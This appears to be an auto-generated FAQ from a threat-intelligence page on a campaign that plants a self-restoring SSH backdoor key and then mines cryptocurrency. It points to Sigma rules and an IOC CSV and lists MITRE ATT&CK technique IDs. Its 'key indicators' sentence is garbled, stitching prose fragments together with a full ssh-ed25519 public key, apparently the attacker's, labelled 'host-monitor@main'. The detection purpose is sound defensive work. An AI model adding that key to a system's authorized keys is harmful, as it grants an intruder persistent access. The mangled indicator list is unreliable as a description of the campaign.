Key indicators include then cryptomining, exported for detection authoring and LE/PSIRT handoff., so do not blanket-block the host -- but the /cdn/ URLs on it are, no Host header and no passive DNS for this address, ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSnqswdyl3z/cXuBa0B47XoQjXHs29FrxL0ZpssApCh host-monitor@main, host-monitor@main, and more. The full list and a downloadable IOC CSV are in the Detection Rules & IOCs section.
How do I detect The Backdoor Key That Puts Itself Back?
The Backdoor Key That Puts Itself Back can be detected with Sigma Rule, IOC CSV — all downloadable on this page. Two rules covering the two halves of this campaign: SSH backdoor persistence, and the delivery path through the Script Console. Full atomic and behavioural indicators are in the IOC CSV; deploy the Sigma rules first, they cover the parts of this campaign that survive infrastructure rotation.
What MITRE ATT&CK techniques does The Backdoor Key That Puts Itself Back use?
The Backdoor Key That Puts Itself Back maps to T1098.004, T1053.006, T1036.005, T1059.004, T1552.001, T1552.004, T1555, T1082, T1083, T1496, T1562.001, T1550.001.